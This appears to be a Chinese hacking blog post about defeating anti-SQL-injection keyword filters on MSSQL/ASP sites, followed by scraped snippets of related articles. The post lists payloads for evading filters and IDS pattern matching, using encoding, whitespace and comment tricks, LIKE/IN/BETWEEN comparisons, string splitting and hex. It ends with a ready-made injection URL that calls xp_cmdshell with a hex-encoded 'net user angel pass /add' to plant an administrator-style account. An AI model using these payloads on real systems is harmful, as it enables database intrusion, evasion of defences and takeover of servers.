突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“'”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
经过我的收集,大部分的防注入程序都过滤了以下关键字:
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or' swords' =‘swords' ,由于mssql的松散性,我们可以把or 'swords' 之间的空格去掉,并不影响运行。
3、运用字符串判断代替
用经典的or 1=1判断绕过,如or 'swords' ='swords',这个方法就是网上在讨论的。
4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or 'swords' = N' swords' ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如 or 'swords' =‘sw' +' ords' ;EXEC(‘IN' +' SERT INTO '+' …..' )
6、通过LIKE绕过
以前怎么就没想到呢?如or 'swords' LIKE 'sw'!!!显然可以很轻松的绕过“=”“>”的限制……
7、通过IN绕过
与上面的LIKE的思路差不多,如or 'swords' IN ('swords')
8、通过BETWEEN绕过
如or 'swords' BETWEEN 'rw' AND 'tw'
9、通过>或者<绕过
or 'swords' > 'sw'
or 'swords' < 'tw'
or 1<3
……
10、运用注释语句绕过
用代替空格,如:UNION Select user,pwd,from tbluser
用分割敏感词,如:U NION SE LECT user,pwd from tbluser
11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
效果:http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是“net user angel pass /add”的意思。
分享到:
相关推荐
SQL 注入基础知识点总结 SQL 注入是指 web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法...
DB2数据库SQL注入手册 DB2数据库SQL注入手册是指在使用DB2数据库时,如何检测和防止SQL注入攻击的一份指南。SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过在输入字段中 inject恶意SQL代码来访问或控制...
SQL注入是一种常见的网络安全漏洞,发生在应用程序使用用户输入的SQL代码直接构建数据库查询时。当攻击者能够通过输入恶意SQL语句来控制或篡改数据库查询,他们就能获取敏感信息、修改数据甚至完全控制系统。《SQL...
C#防SQL注入 C#防SQL注入是指在C#程序中防止SQL注入攻击的方法。SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过在输入字段中.inject恶意SQL代码,来访问、修改或删除数据库中的数据。为了防止SQL注入,C#...
SQL注入是一种常见的网络安全威胁,它利用了Web应用程序中对用户输入数据处理的不足,使得攻击者能够注入恶意的SQL代码,以获取未经授权的数据或者控制数据库服务器。以下是对SQL注入漏洞的全面讲解,包括其原理、...
### SQL注入攻击实验报告知识点详解 #### 一、实验背景及目的 - **实验背景**:随着互联网技术的发展,Web应用程序越来越广泛地应用于各种场景之中。然而,由于开发者对安全性的忽视,使得许多Web应用程序存在安全...
### SQL注入字典Fuzz详解 #### 一、引言 在网络安全领域,SQL注入攻击是一种常见的威胁方式,它利用数据库应用系统中的漏洞,通过恶意构造的SQL语句来获取敏感数据或对数据库进行非法操作。为了有效地检测和防范...
【描述】:“SQL注入工具-御剑SQL注入工具-御剑SQL注入工具-御剑SQL注入工具-御剑SQL注入工具-御剑SQL注入工具-御剑” 描述中的重复部分强调了御剑作为SQL注入工具的核心属性。SQL注入是黑客通过构造恶意的SQL语句...
SQL注入是一种严重的安全威胁,它允许攻击者通过在应用程序的输入字段中插入恶意SQL代码来执行未经授权的数据库操作。攻击者通常寻找没有适当验证和过滤的用户输入,然后利用这些漏洞来构造能改变原始SQL语句意图的...
"SQL注入漏洞全接触"知识点总结 一、 SQL注入漏洞的定义和原理 * SQL注入漏洞是指攻击者通过构造特殊的输入,来获取或修改服务器上的敏感数据。 * SQL注入漏洞的原理是从客户端提交特殊的代码,从而收集程序及...
从标签"防注入"、"最新ASP SQL注入代码"、"最新ASP通用防SQL注入代码"我们可以看出,这个压缩包文件的核心内容是关于防止ASP应用程序遭受SQL注入攻击的代码示例,它适用于各种ASP应用场景。 在压缩包内的文件"通用...
超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。 超级SQL注入工具目前支持Bool型盲注、错误显示注入、...
### MyBatis如何防止SQL注入 #### SQL注入简介与危害 SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过提交恶意的SQL代码到应用程序的输入字段中(如表单、URL等),利用这些输入来操控数据库执行非预期的...
JavaScript过滤SQL注入字符 在Web开发中,SQL注入是一种常见的安全威胁,攻击者可以通过输入恶意的SQL代码来操控数据库。JavaScript作为客户端脚本语言,虽然主要负责与用户交互,但也可以在防止SQL注入方面发挥...
机器学习检测SQL注入# ML-for-SQL-Injection机器学习检测SQL注入本项目是使用机器学习算法来分类SQL注入语句与正常语句:使用了SVM,Adaboost,决策树,随机森林,逻辑斯蒂回归,KNN,贝叶斯等算法分别对SQL注入语句...
SQL注入攻击与防御技术白皮书.pdf 本文档主要介绍了SQL注入攻击的原理、方式、危害及防御措施,旨在帮助读者更好地理解和防御这种常见的数据库漏洞攻击方式。 1.SQL注入攻击简介 SQL注入攻击是一种针对数据库的...
在IT行业中,SQL注入是一种常见的安全威胁,攻击者通过输入恶意的SQL代码来获取、修改、删除数据库中的敏感信息。为了防止这种情况发生,开发者需要在应用程序中实施有效的防御策略,其中一种方法就是使用过滤器...
SQL注入是一种常见的网络安全攻击方式,攻击者通过在Web应用程序的输入字段中插入恶意SQL语句来操纵后端数据库的行为。这种攻击通常利用了Web应用对用户输入数据的不充分过滤和验证。万能密码则是指能够绕过正常的...
asp防止SQL注入和SQL注入资料;asp;asp sql;asp防注入asp防止SQL注入和SQL注入资料;asp;asp sql;asp防注入asp防止SQL注入和SQL注入资料;asp;asp sql;asp防注入 asp的朋友可以看看 分享
4. 防御SQL注入的方法:主要分为输入验证、参数化查询(预编译语句)、存储过程、使用ORM(对象关系映射)框架、限制数据库权限和错误处理策略。输入验证可以过滤或转义特殊字符;参数化查询确保用户输入作为独立...